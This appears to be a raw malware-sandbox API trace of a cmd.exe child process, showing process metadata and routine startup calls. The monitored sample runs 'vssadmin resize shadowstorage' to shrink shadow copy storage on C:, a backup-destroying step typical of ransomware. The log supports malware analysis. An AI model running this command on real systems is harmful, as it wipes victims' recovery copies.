	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 8
	os_tid = 0x29c


Thread:
	id = 9
	os_tid = 0xbcc


Thread:
	id = 10
	os_tid = 0xdd4


Thread:
	id = 11
	os_tid = 0xdc4


Thread:
	id = 12
	os_tid = 0xc70


Thread:
	id = 13
	os_tid = 0x480


Thread:
	id = 14
	os_tid = 0x258


Process:
	id = "5"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x9eff000"
	os_pid = "0x168"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 15
	os_tid = 0xed0

	[0060.346] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0060.346] __set_app_type (_Type=0x1) 
	[0060.346] __p__fmode () returned 0x77803c14
	[0060.346] __p__commode () returned 0x778049ec
	[0060.346] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0060.346] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0060.346] _onexit (_Func=0xb88030) returned 0xb88030
	[0060.346] _onexit (_Func=0xb88040) returned 0xb88040
	[0060.347] _onexit (_Func=0xb88050) returned 0xb88050
	[0060.347] _onexit (_Func=0xb88060) returned 0xb88060
	[0060.347] _onexit (_Func=0xb88070) returned 0xb88070
	[0060.347] _onexit (_Func=0xb88080) returned 0xb88080
	[0060.347] GetCurrentThreadId () returned 0xed0
	[0060.347] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xed0) returned 0xbc
	[0060.348] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0060.348] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0060.348] SetThreadUILanguage (LangId=0x0) returned 0x3b0409
	[0060.361] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0060.361] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x4ffa54 | out: phkResult=0x4ffa54*=0x0) returned 0x2
	[0060.361] VirtualQuery (in: lpAddress=0x4ffa5f, lpBuffer=0x4ffa0c, dwLength=0x1c | out: lpBuffer=0x4ffa0c*(BaseAddress=0x4ff000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0060.361] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x4ffa0c, dwLength=0x1c | out: lpBuffer=0x4ffa0c*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0060.361] VirtualQuery (in: lpAddress=0x401000, lpBuffer=0x4ffa0c, dwLength=0x1c | out: lpBuffer=0x4ffa0c*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0060.361] VirtualQuery (in: lpAddress=0x403000, lpBuffer=0x4ffa0c, dwLength=0x1c | out: lpBuffer=0x4ffa0c*(BaseAddress=0x403000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0060.361] VirtualQuery (in: lpAddress=0x500000, lpBuffer=0x4ffa0c, dwLength=0x1c | out: lpBuffer=0x4ffa0c*(BaseAddress=0x500000, AllocationBase=0x500000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0060.361] GetConsoleOutputCP () returned 0x1b5
	[0060.364] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0060.365] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0060.365] _get_osfhandle (_FileHandle=1) returned 0x90
	[0060.365] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0060.374] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0060.374] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0060.398] _get_osfhandle (_FileHandle=1) returned 0x90
	[0060.398] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0060.403] _get_osfhandle (_FileHandle=1) returned 0x90
	[0060.403] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0060.412] _get_osfhandle (_FileHandle=1) returned 0x90
	[0060.412] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0060.433] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0060.433] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0060.437] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0060.437] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0060.448] GetEnvironmentStringsW () returned 0x764bc0*
	[0060.448] GetProcessHeap () returned 0x760000
	[0060.448] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xaca) returned 0x765698
	[0060.448] FreeEnvironmentStringsA (penv="A") returned 1
	[0060.448] GetProcessHeap () returned 0x760000
	[0060.448] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x4) returned 0x7646a0
	[0060.448] GetEnvironmentStringsW () returned 0x764bc0*
	[0060.448] GetProcessHeap () returned 0x760000
	[0060.448] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xaca) returned 0x766170
	[0060.448] FreeEnvironmentStringsA (penv="A") returned 1
	[0060.448] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4fe9b0 | out: phkResult=0x4fe9b0*=0xcc) returned 0x0
	[0060.448] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x0, lpData=0x4fe9bc*=0x0, lpcbData=0x4fe9b4*=0x1000) returned 0x2
	[0060.448] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x1, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.448] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x0, lpData=0x4fe9bc*=0x1, lpcbData=0x4fe9b4*=0x1000) returned 0x2
	[0060.448] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x0, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.448] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x40, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x40, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x0, lpData=0x4fe9bc*=0x40, lpcbData=0x4fe9b4*=0x1000) returned 0x2
	[0060.449] RegCloseKey (hKey=0xcc) returned 0x0
	[0060.449] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4fe9b0 | out: phkResult=0x4fe9b0*=0xcc) returned 0x0
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x0, lpData=0x4fe9bc*=0x40, lpcbData=0x4fe9b4*=0x1000) returned 0x2
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x1, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x0, lpData=0x4fe9bc*=0x1, lpcbData=0x4fe9b4*=0x1000) returned 0x2
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x0, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x9, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x4, lpData=0x4fe9bc*=0x9, lpcbData=0x4fe9b4*=0x4) returned 0x0
	[0060.449] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4fe9b8, lpData=0x4fe9bc, lpcbData=0x4fe9b4*=0x1000 | out: lpType=0x4fe9b8*=0x0, lpData=0x4fe9bc*=0x9, lpcbData=0x4fe9b4*=0x1000) returned 0x2
	[0060.449] RegCloseKey (hKey=0xcc) returned 0x0
	[0060.449] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e71f
	[0060.449] srand (_Seed=0x5e40e71f) 
	[0060.449] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB"
	[0060.449] malloc (_Size=0x4000) returned 0xad21f0
	[0060.450] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB"
	[0060.450] malloc (_Size=0xffce) returned 0x960048
	[0060.450] ??_V@YAXPAX@Z () returned 0x4ff994
	[0060.451] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x960048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0060.451] malloc (_Size=0xffce) returned 0x970020
	[0060.451] ??_V@YAXPAX@Z () returned 0x4ff768
	[0060.451] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x970020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0060.452] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0060.452] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0060.452] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0060.452] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0060.452] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0060.452] GetProcessHeap () returned 0x760000
	[0060.452] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x765698) returned 1
	[0060.452] GetEnvironmentStringsW () returned 0x764bc0*
	[0060.452] GetProcessHeap () returned 0x760000
	[0060.452] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xae2) returned 0x767738
	[0060.452] FreeEnvironmentStringsA (penv="A") returned 1
	[0060.453] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0060.453] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0060.453] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0060.453] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0060.453] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0060.453] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0060.453] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0060.453] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0060.453] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0060.453] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0060.453] malloc (_Size=0xffce) returned 0x97fff8
	[0060.453] ??_V@YAXPAX@Z () returned 0x4ff500
	[0060.453] GetProcessHeap () returned 0x760000
	[0060.454] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x38) returned 0x760ae0
	[0060.454] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x97fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0060.454] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x97fff8, lpFilePart=0x4ff54c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4ff54c*="Desktop") returned 0x17
	[0060.454] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0060.454] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x4ff2d0 | out: lpFindFileData=0x4ff2d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x760b20
	[0060.454] FindClose (in: hFindFile=0x760b20 | out: hFindFile=0x760b20) returned 1
	[0060.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x4ff2d0 | out: lpFindFileData=0x4ff2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x760b20
	[0060.455] FindClose (in: hFindFile=0x760b20 | out: hFindFile=0x760b20) returned 1
	[0060.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x4ff2d0 | out: lpFindFileData=0x4ff2d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x760b20
	[0060.455] FindClose (in: hFindFile=0x760b20 | out: hFindFile=0x760b20) returned 1
	[0060.455] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0060.455] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0060.455] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0060.455] GetProcessHeap () returned 0x760000
	[0060.455] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x767738) returned 1
	[0060.455] GetEnvironmentStringsW () returned 0x764bc0*
	[0060.455] GetProcessHeap () returned 0x760000
	[0060.455] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb1a) returned 0x766c48
	[0060.455] FreeEnvironmentStringsA (penv="=") returned 1
	[0060.455] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x960048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0060.455] GetProcessHeap () returned 0x760000
	[0060.455] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x760ae0) returned 1
	[0060.455] ??_V@YAXPAX@Z () returned 0x1
	[0060.455] ??_V@YAXPAX@Z () returned 0x1
	[0060.455] GetProcessHeap () returned 0x760000
	[0060.455] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400e) returned 0x768d50
	[0060.456] GetProcessHeap () returned 0x760000
	[0060.456] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x84) returned 0x767770
	[0060.456] GetProcessHeap () returned 0x760000
	[0060.456] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x768d50) returned 1
	[0060.456] GetConsoleOutputCP () returned 0x1b5
	[0060.501] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0060.501] GetUserDefaultLCID () returned 0x409
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x4ff8bc, cchData=128 | out: lpLCData="0") returned 2
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x4ff8bc, cchData=128 | out: lpLCData="0") returned 2
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x4ff8bc, cchData=128 | out: lpLCData="1") returned 2
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0060.502] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0060.502] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0060.504] GetProcessHeap () returned 0x760000
	[0060.504] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x20c) returned 0x767848
	[0060.504] GetConsoleTitleW (in: lpConsoleTitle=0x767848, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0060.513] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0060.513] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0060.513] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0060.513] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0060.513] ??_V@YAXPAX@Z () returned 0x1
	[0060.513] GetProcessHeap () returned 0x760000
	[0060.513] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400a) returned 0x768d50
	[0060.514] GetProcessHeap () returned 0x760000
	[0060.514] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x768d50) returned 1
	[0060.514] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0060.514] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0060.514] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0060.514] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0060.514] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0060.514] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0060.514] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0060.514] GetProcessHeap () returned 0x760000
	[0060.514] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x58) returned 0x767a60
	[0060.514] GetProcessHeap () returned 0x760000
	[0060.514] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x1a) returned 0x767ac0
	[0060.515] GetProcessHeap () returned 0x760000
	[0060.515] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x70) returned 0x767ae8
	[0060.516] GetConsoleTitleW (in: lpConsoleTitle=0x4ff7b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0060.516] malloc (_Size=0xffce) returned 0x972638
	[0060.517] ??_V@YAXPAX@Z () returned 0x4ff53c
	[0060.517] malloc (_Size=0xffce) returned 0x982610
	[0060.517] ??_V@YAXPAX@Z () returned 0x4ff2f4
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0060.518] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0060.519] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
